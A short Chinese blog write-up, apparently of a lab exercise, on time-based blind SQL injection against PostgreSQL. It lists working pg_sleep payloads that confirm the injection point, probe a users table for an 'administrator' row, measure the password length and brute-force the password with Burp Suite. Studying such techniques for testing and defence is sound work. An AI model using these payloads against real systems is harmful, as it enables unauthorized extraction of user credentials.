记一次关于延时的盲注

'%3bselect case when (username='administrator' and substring(password,1,1)='a') then pg_sleep(10) else pg_sleep(0) end from users -- (%3b表示分号)

  • 但是在这之前,要先判断是否存在延时注入点,即:

'%3bselect case when (1=1) then pg_sleep(10) else pg_sleep(0) end --

'%3bselect case when (1=2) then pg_sleep(10) else pg_sleep(0) end --

  • 然后判断是否在users表中存在username字段且存在administrator值,即:

'%3bselect case when (username='administrator') then pg_sleep(10) else pg_sleep(0) end from users --

  • 然后判断对应password的长度:

'%3bselect case when (username='administrator' and length(password)>1) then pg_sleep(10) else pg_sleep(0) end from users--

  • 最后就是用brupsuit暴密码,也就是最上面的payload,其中记得在选项里调整线程为1,且在结果框的最上方菜单栏的column中选择“响应获得时间”,以找出正确结果。
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容